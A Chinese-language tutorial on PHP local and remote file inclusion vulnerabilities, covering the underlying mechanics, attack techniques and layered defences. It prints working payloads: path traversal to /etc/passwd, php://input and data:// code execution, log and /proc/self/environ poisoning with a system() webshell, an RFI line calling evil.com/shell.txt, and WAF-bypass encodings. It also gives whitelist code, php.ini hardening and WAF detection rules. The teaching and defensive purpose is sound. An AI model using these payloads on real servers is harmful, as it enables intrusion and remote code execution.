PHP文件包含漏洞深度解析:从原理到实战攻防

发布时间:2026/7/18 8:57:45
PHP文件包含漏洞深度解析:从原理到实战攻防 1. 项目概述为什么文件包含漏洞是Web安全的“隐形杀手”在Web安全领域PHP文件包含漏洞Local/Remote File Inclusion LFI/RFI绝对是一个被严重低估的“狠角色”。它不像SQL注入那样直接窃取数据也不像XSS那样直观地弹窗但它的危害性却常常是毁灭性的。简单来说这个漏洞允许攻击者将服务器上的任意文件甚至远程服务器上的文件当作PHP代码来执行。想象一下你家的门锁输入验证没关好小偷不仅能进来还能把你家任何一个家具文件变成他的作案工具执行代码这有多可怕。我见过太多开发者和运维人员对SQL注入、XSS严防死守却在文件包含上栽了大跟头。很多框架和CMS早期版本都曾深受其害原因就在于PHP语言设计的灵活性——include、require这些函数本意是为了代码复用提高开发效率但一旦用户输入未经严格过滤就直接拼接进包含路径潘多拉魔盒就被打开了。攻击者可以利用它读取敏感配置文件如数据库连接信息config.php、窃取会话文件、甚至配合文件上传功能直接获取服务器权限Webshell。这个漏洞的攻防本质上是一场关于“信任边界”的战争。这篇文章我将从一个老安全从业者的视角带你彻底拆解PHP文件包含漏洞。我们不只讲那些教科书上的?file../../etc/passwd更要深入那些在真实攻防演练和渗透测试中遇到的“骚操作”和“神绕过”。同时我会给出从代码编写、服务器配置到WAF规则的全链路防御方案。无论你是刚入门的安全爱好者还是想加固自己项目的开发者这篇文章都能让你对文件包含漏洞有一个全新的、实战级的认识。2. 漏洞原理深度剖析不仅仅是“包含文件”那么简单要打好攻防战首先得把敌人的底细摸透。很多人对文件包含漏洞的理解停留在“能读取非Web目录文件”这太片面了。它的核心危害在于“将非代码文件以代码方式解析”和“引入并执行远程恶意代码”。2.1 PHP包含函数的行为差异与风险根源PHP提供了四个包含函数include、include_once、require、require_once。它们的区别不仅仅是“是否重复包含”和“出错后是否继续执行”。includevsrequireinclude包含失败会抛出警告E_WARNING脚本继续执行require失败则抛出致命错误E_COMPILE_ERROR脚本终止。在漏洞利用中这会影响我们的攻击链是否稳定。如果目标使用require我们包含一个不存在的文件会导致页面直接白屏可能暴露攻击行为。包含的实质PHP引擎在处理包含语句时会将被包含文件的内容插入到当前脚本的该语句所在位置。关键在于如果被包含的文件内容以?php ... ?标签包裹它会被当作PHP代码执行如果没有标签其内容会直接输出。但更危险的是如果被包含的是像/var/log/apache2/access.log这样的日志文件而日志中恰好记录了某次攻击请求的PHP代码例如?php system($_GET[cmd]);?那么这段代码就会被执行这就是“日志文件注入”攻击的原理。风险的根本来源是开发者将用户可控的变量如$_GET[file]、$_POST[module]直接或经过简单拼接后传递给了这些包含函数。例如// 经典漏洞代码示例 $page $_GET[page]; include(/pages/ . $page . .php); // 攻击者可以控制$page变量开发者的本意可能是让用户访问?pageabout来加载about.php。但攻击者可以构造?page../../../../etc/passwd%00在特定条件下或者利用其他技巧让包含的路径指向一个非预期的文件。2.2 本地文件包含与远程文件包含的界定与条件这是文件包含漏洞的两个主要分支危害程度和利用条件不同。本地文件包含只能包含服务器本地文件系统上的文件。这是最常见的情况。虽然不能直接执行远程代码但通过“迂回战术”如包含日志、会话文件、上传的临时文件、/proc/self/environ等同样可以达到执行代码的目的。LFI的利用更像是一场“资源寻找”游戏考验攻击者对服务器环境信息收集和利用的能力。远程文件包含可以直接包含并执行远程服务器如http://attacker.com/shell.txt上的文件。这意味着攻击者可以将恶意代码托管在自己的服务器上让目标服务器去下载执行利用门槛和危害性都大大增加。RFI生效的两个关键PHP配置是allow_url_fopen On允许PHP的文件函数如fopen、file_get_contents打开URL如http、ftp作为文件流。allow_url_include On允许include、require等文件包含函数直接包含URL指向的文件。这个选项默认是关闭的且自PHP 5.2版本起就强烈不建议开启。因此在现今的互联网环境中纯粹的RFI漏洞已经比较少见但一旦存在就是高危中的高危。注意很多开发者和运维会混淆这两个配置。allow_url_fopen为On是RFI的必要不充分条件。即使allow_url_fopen为On只要allow_url_include为Off尝试包含http://...的URL依然会失败。但在利用php://input等伪协议时情况又有所不同。3. 攻击手法全图谱从基础遍历到高阶利用链了解了原理我们来看看攻击者手里都有哪些“武器”。我会按照从易到难、从普遍到特殊的顺序来梳理。3.1 基础路径遍历与敏感信息读取这是最直接的利用方式目的是读取服务器上的敏感文件。目录穿越使用../来向上跳转目录。?file../../../../etc/passwd // 读取Linux系统用户列表 ?file../../../../windows/win.ini // 读取Windows系统文件示例绝对路径包含如果应用对../过滤不严但未限制绝对路径可以直接包含。?file/etc/passwd ?fileC:\Windows\System32\drivers\etc\hosts常见敏感文件靶点系统层面/etc/passwd,/etc/shadow需root,/etc/hosts,/proc/version系统信息,/proc/self/environ进程环境变量可能包含密钥。Web配置/etc/apache2/apache2.conf,/usr/local/nginx/conf/nginx.conf,../.htaccess。应用源码/配置config.php,database.php,../application/database.php,wp-config.phpWordPress。日志文件这是通往代码执行的跳板后面会详细讲。3.2 伪协议的魔法将数据流变为代码执行入口PHP内置了一系列伪协议它们像“魔法通道”一样能将不同的数据源伪装成文件流。在文件包含漏洞中它们是极其强大的武器。php://filter– 读取源码的利器这个协议本身不能执行代码但它可以用于读取包含文件的源码绕过一些显示限制。当网站因为包含错误而将PHP文件内容以文本形式输出时我们可以用它来读取原本无法直接访问的源码。?filephp://filter/convert.base64-encode/resourceindex.php这个Payload会让PHP先读取index.php的内容然后经过base64-encode过滤器编码最后输出。我们拿到Base64字符串后解码即可得到源码。为什么用Base64因为直接读取可能会被当作PHP代码执行而编码后能保证以文本形式安全输出。resource参数指定了要读取的真实文件路径。php://input– 直接执行POST代码这是最危险的伪协议之一。它允许你将POST请求的原始体作为文件内容来包含。这意味着攻击者可以直接在POST数据包里写PHP代码。GET /vuln.php?filephp://input HTTP/1.1 ... POST数据体?php system(id);?利用条件allow_url_includeOn。即使allow_url_fopenOff这个协议也可能生效因为它不是远程URL包含。data://– 内联代码执行类似于php://input但代码是直接写在URL里的。?filedata://text/plain,?php phpinfo();? ?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8 // 上述代码的base64编码形式利用条件allow_url_includeOn。zip://phar://– 压缩包内的攻击这两个协议可以包含ZIP或PHAR压缩包中的特定文件。攻击者可以先上传一个包含恶意PHP脚本的ZIP文件例如shell.jpg因为上传点可能只检查后缀然后通过包含来执行其中的代码。// 假设上传了 shell.zip里面有一个 shell.php 文件 ?filezip:///path/to/uploads/shell.jpg%23shell.php // 注意#在URL中需要编码为%23它用于指定压缩包内的文件路径。 ?filephar:///path/to/uploads/shell.jpg/shell.php这在绕过只检查文件头、不解析压缩包内容的上传校验时非常有效。3.3 日志文件注入将“足迹”变为“武器”这是LFI实现代码执行最经典、最常用的手法之一。思路是既然我们能包含服务器上的任何文件而Web服务器如Apache、Nginx的访问日志会记录所有请求那么如果我们把PHP代码作为请求的一部分发送让它被记录到日志文件里再通过LFI去包含这个日志文件代码就会被执行。操作步骤找到日志路径通过信息收集或常见路径猜测如/var/log/apache2/access.log/usr/local/nginx/logs/access.log。污染日志向网站发送一个包含PHP代码的请求。由于User-Agent、Referer、Cookie或URL路径本身都会被记录我们可以将代码放在这些地方。GET /vuln.php HTTP/1.1 User-Agent: ?php system($_GET[c]);?或者直接在浏览器地址栏访问http://target.com/?php phpinfo();?这个URL路径会被记录到日志中。包含执行利用LFI漏洞去包含这个已经被污染的日志文件。?file../../../../var/log/apache2/access.log如果日志文件内容成功被包含并解析我们之前注入的phpinfo()或system()函数就会被执行。实操心得日志文件通常很大包含可能会导致PHP内存耗尽或超时。一个技巧是在注入代码后立即发送大量正常请求将我们的恶意请求“挤”到日志文件的末尾这样包含时加载的数据量会小很多。另外确保你对日志文件有读取权限通常Web进程用户如www-data对日志有读权限。3.4 利用/proc与临时文件面向环境的“特种作战”在Linux系统中/proc是一个虚拟文件系统提供了访问内核内部数据结构的接口。其中有一些“文件”对LFI利用非常有帮助。/proc/self/environ这个文件包含了当前进程即处理我们请求的PHP进程的所有环境变量。其中有一个叫HTTP_USER_AGENT的变量它直接来自我们请求头中的User-Agent。因此我们可以像污染日志一样通过修改User-Agent来污染这个环境变量然后包含/proc/self/environ来执行代码。// 请求 GET /vuln.php?file/proc/self/environ HTTP/1.1 User-Agent: ?php phpinfo();? // 如果成功phpinfo()会被执行。这种方法比日志注入更“干净”因为/proc/self/environ文件通常较小且内容实时变化。/proc/self/fd/这个目录包含了当前进程打开的所有文件描述符的符号链接。有时如果应用上传了文件我们可能能通过遍历fd目录来找到上传文件的临时路径。但这需要一定的运气和条件。Session文件注入PHP的Session数据默认以文件形式存储在服务器上如/tmp/sess_[sessionid]。如果Session内容用户部分可控例如我们在$_SESSION[username]里存入了用户输入并且我们知道Session文件的路径和名称sessionid通常通过Cookie中的PHPSESSID传递是可知的那么我们就可以先污染Session文件再通过LFI包含它来执行代码。3.5 绕过过滤的奇技淫巧与WAF和开发者的博弈在实际环境中开发者或WAF不会坐以待毙他们会设置各种过滤。攻击者则需要见招拆招。后缀拼接绕过如果代码强制添加了后缀如include($file . .php);。%00截断在PHP版本小于5.3.4且magic_quotes_gpcOff时可以在路径后添加空字符%00URL编码来截断后面的.php。?file../../etc/passwd%00。路径长度截断在Windows下路径最大长度260字节Linux下也有路径名长度限制。通过注入大量./或../使总路径超长系统会自动截断。?file././././...重复多次..././etc/passwd。此法对PHP版本有要求通常5.2.8。问号截断?filehttp://evil.com/shell.txt?。后面的?会被解释为URL参数而本地文件系统会忽略?之后的内容。但这通常只在包含远程URL时有效且受限于特定环境。关键字过滤绕过如果过滤了../、etc、passwd等关键词。双重URL编码../-%2e%2e%2f-%252e%252e%252f。WAF可能只解码一次。Unicode编码/特殊字符利用操作系统或PHP对字符处理的特性。例如在Windows下..\和../等效..//可能被归一化为../。协议替代如果过滤了http://尝试https://、ftp://甚至\\smb-server\share\shell.phpWindows SMB共享。协议限制绕过如果服务器禁用了http和ftp协议通过allow_url_fopen和allow_url_include可以尝试其他协议SMB在Windows环境中可以使用file//192.168.1.1/share/shell.php需要目标服务器能访问该SMB共享。WebDAV类似SMB是一种网络文件系统协议。4. 实战化防御体系构建从代码到配置的纵深防御知道了攻击怎么来我们就要筑起坚固的防线。防御文件包含漏洞绝不能只靠一招必须建立纵深防御体系。4.1 安全编码实践白名单是唯一可信的准则这是最根本、最有效的防御手段核心思想是永远不要信任用户输入。使用白名单机制这是黄金法则。定义一个允许包含的文件名或模块名的数组只允许用户输入在这个数组范围内。$allowed_pages [home, about, contact, news]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include(./pages/ . $page . .php); } else { include(./pages/error.php); // 或直接die(Invalid page); }白名单应该尽可能具体、范围小。如果需要动态包含则严格过滤路径剥离目录遍历符使用str_replace或正则表达式彻底删除../、..\等。$file str_replace(array(../, ..\\, ~/), , $_GET[file]); // 注意这种简单替换可能被绕过如....// - ../更推荐使用白名单或下面方法。使用basename()函数如果只需要文件名basename()会去掉路径部分只返回最后的文件名。include(./templates/ . basename($_GET[tpl]));。但要注意它不能防止跨目录只是去掉了路径。使用realpath()进行路径校验这是更可靠的方法。先将用户输入拼接成完整路径然后用realpath()解析出规范化的绝对路径最后检查这个绝对路径是否在以安全目录为前缀的范围内。$base_dir /var/www/html/includes/; // 允许包含的基础目录 $user_input $_GET[module]; $full_path realpath($base_dir . $user_input); // 检查解析后的路径是否以$base_dir开头 if ($full_path ! false strpos($full_path, $base_dir) 0) { include($full_path); } else { die(Access denied.); }这个方法能有效处理各种../和符号链接。4.2 服务器与PHP环境加固收紧攻击面代码层面之外服务器环境的配置同样关键。关闭危险的PHP配置allow_url_include务必设置为Off。这是防止RFI的最重要开关。在php.ini中确认。allow_url_fopen根据业务需要决定。如果业务不需要从远程URL打开文件建议也设置为Off。这能阻断一部分利用伪协议和远程资源的攻击。open_basedir设置PHP可以访问的文件系统目录范围。例如open_basedir /var/www/html:/tmp。这样即使存在LFI攻击者也无法跳出这个“监狱”去访问/etc、/home等目录。注意open_basedir不是银弹有被绕过的历史应作为辅助防御手段。disable_functions在php.ini中禁用高危函数如system,exec,shell_exec,passthru,proc_open等。即使攻击者通过LFI执行了代码也无法调用这些函数执行系统命令极大限制了危害。但攻击者仍可能进行信息泄露、文件读写等操作。Web服务器配置以最小权限运行PHP-FPM或Apache的进程应以一个低权限用户如www-data、nobody运行并确保该用户对Web目录外的文件没有读取权限。日志文件权限确保Web服务器用户对日志文件只有追加写入权限没有读取权限。这样即使存在LFI也无法读取日志文件来实施注入。但这对日志分析工具可能会有影响需要权衡。隔离上传目录将用户上传的文件存放在Web根目录之外或者至少确保该目录下的文件不会被PHP解析。可以通过配置Nginx/Apache禁止执行上传目录下的PHP文件。# Nginx 配置示例 location ^~ /uploads/ { deny all; # 或者 location ~ \.php$ { deny all; } }4.3 应用架构与设计优化从根源上规避风险良好的架构设计能从根本上降低风险。避免动态包含重新思考业务逻辑是否真的需要根据用户输入来动态包含文件很多情况下可以通过路由控制器如index.php?actionabout来映射到固定的类和方法或者使用模板引擎。使用安全的模板引擎现代PHP框架如Laravel的Blade、Symfony的Twig的模板引擎在渲染时不会将模板文件当作PHP代码来include而是进行编译和解释这天然免疫了文件包含漏洞。即使模板文件被恶意写入PHP代码也不会被执行。自动化安全扫描与代码审计将静态代码安全扫描工具如SonarQube、PHPStan配合安全插件集成到CI/CD流程中自动检测可能存在文件包含漏洞的代码模式。定期进行人工代码安全审计。4.4 WAF与运行时防护最后一道防线对于已上线且难以立即修改代码的遗留系统Web应用防火墙是一个重要的缓解措施。定制化WAF规则针对文件包含漏洞的特征在WAF如ModSecurity、云WAF上部署规则。检测请求参数中的路径遍历序列../,..\,~/。检测伪协议关键字php://,data://,zip://,phar://。检测对敏感路径的访问模式包含etc/passwd,proc/self等。注意规则需要精心设计避免误杀正常业务例如有些应用可能允许通过参数传递合法的相对路径。最好在拦截模式前先经历一段时间的日志记录模式观察误报情况。RASP运行时应用自我保护是一种更先进的技术。它在应用程序内部注入探针能够监控include、require等敏感函数的调用栈和参数如果发现参数包含用户输入且路径非法可以实时阻断。RASP的防御精度比WAF更高但部署复杂度也更高。5. 实战攻防演练与深度排查指南理论说再多不如亲手试一遍。下面我模拟一个从发现到利用再到防御加固的完整流程并分享一些排查技巧。5.1 手工探测与漏洞确认流程信息收集首先找到可能存在包含功能的参数。常见的参数名有file,page,module,template,load,path等。观察URL形态如index.php?pageabout。基础测试尝试包含一个已知存在的Web文件?fileindex.php。观察页面是否正常或者是否出现了index.php的源码如果配置错误。尝试路径遍历?file../../../../etc/passwd。观察是否返回了系统用户信息或者页面报错信息中是否暴露了绝对路径这对后续利用很有帮助。尝试伪协议读取源码?filephp://filter/convert.base64-encode/resourceindex.php。查看页面输出是否有Base64字符串。错误信息分析如果页面报错仔细阅读错误信息。PHP的警告或错误可能会泄露文件的绝对路径、PHP版本、配置信息等这些都是宝贵的利用线索。利用伪协议测试RFI如果基础测试有反应尝试?filehttp://your-vps.com/test.txt确保test.txt中有?php phpinfo();?。观察页面是否出现了phpinfo页面。注意此操作在法律允许的授权测试范围内进行切勿对未授权目标尝试。日志/Session文件包含测试如果LFI存在但无法直接执行代码转向利用日志或Session文件。先尝试包含常见的日志路径看是否能读取。如果能读再进行污染和包含。5.2 常见问题与排查技巧实录在实际渗透测试或应急响应中你会遇到各种奇怪的情况。这里记录几个我踩过的坑和解决思路。问题1包含文件后页面空白或报错“Failed opening required ...”排查首先确认文件路径是否正确。使用php://filter读取目标文件确认其是否存在和可读。检查文件权限。如果包含的是非PHP文件如.txt,.log且其中没有?php ?标签PHP会直接输出其内容。如果内容很多可能导致页面加载缓慢或超时空白。技巧在利用日志注入时如果日志文件过大可以尝试在包含时指定只读取最后几行例如在Linux下可以结合tail命令的思路但需要通过其他方式实现。更实用的方法是在注入代码后快速发起大量正常请求或用脚本刷将恶意请求推到日志末尾然后立即包含这样加载的数据量最小。问题2WAF拦截了包含../或伪协议的请求排查尝试不同的编码方式双重URL编码、Unicode编码。尝试使用绝对路径如果允许。尝试使用非标准端口或协议如http://evil.com:81/shell.txt。查看WAF是否对User-Agent、Referer等头部有检测尝试在参数中拆分关键字如..././可能被归一化为../。技巧利用PHP的字符串处理特性。例如如果代码是include($dir . $_GET[file])而$dir是空字符串或可控可以尝试利用空字节%00截断需旧版本PHP。或者如果过滤了php://可以尝试大小写混淆PHP://、Php://Windows系统不区分大小写但PHP在包含时可能区分需测试。问题3成功包含但代码不执行排查首先确认被包含的文件内容是否真的是有效的PHP代码以?php开头。如果包含的是日志文件检查注入的PHP代码是否被Web服务器正确记录可能被转义或截断。查看PHP错误日志可能包含的代码本身有语法错误。检查disable_functions配置是否关键函数被禁用。技巧使用更简单的代码测试如?php echo ‘test’;?。确保代码被完整注入在日志中注意换行符可能被记录为\n需要确保在日志文件中它被当作真正的换行符。对于Session文件注入确保session.auto_start为0并且你在污染Session后使用的是同一个session_id去包含文件。问题4防御方案上线后正常业务报错排查针对白名单检查白名单列表是否完整覆盖了所有合法的业务参数。是否有多余的空格或大小写问题导致in_array匹配失败。排查针对realpath()校验检查$base_dir是否以目录分隔符结尾如/strpos($full_path, $base_dir) 0这个检查是否严格。注意符号链接symlink问题realpath()会解析符号链接确保解析后的路径仍在安全范围内。排查针对open_basedir确认PHP需要访问的目录如临时目录/tmp、Session目录都已添加到open_basedir设置中多个目录用冒号分隔。5.3 从攻击视角看防御你的防御真的有效吗最好的防御者是懂得攻击的人。部署完防御措施后不妨自己扮演攻击者进行验证。白名单测试尝试所有不在白名单内的输入包括边界情况空值、超长字符串、特殊字符数组。确保应用都返回统一的错误页面而不是暴露内部路径或错误信息。路径校验测试尝试各种路径遍历组合....//,..\/,%2e%2e%2f测试realpath()逻辑是否能完美处理。尝试使用绝对路径。伪协议测试即使代码层做了过滤也要在服务器层面确认allow_url_include和allow_url_fopen已关闭。尝试php://input和data://协议。文件权限检查以Web服务用户的身份如sudo -u www-data尝试读取你希望它无法读取的文件如/etc/shadow, 日志文件。确保权限设置正确。WAF规则测试模拟攻击流量查看WAF是否准确拦截并记录。同时模拟正常业务流量确保没有误报。文件包含漏洞的攻防是一场持续的动态博弈。新的PHP版本会修复旧的特性如%00截断新的利用技巧如利用PHP Segment也会不断出现。作为防御方必须坚持最小权限原则、实施白名单策略、保持组件更新并定期进行安全评估和渗透测试。而作为安全研究者或开发者深入理解其原理不仅能更好地防御也能在代码审查和架构设计时提前嗅到危险的味道。安全没有一劳永逸唯有保持警惕持续学习。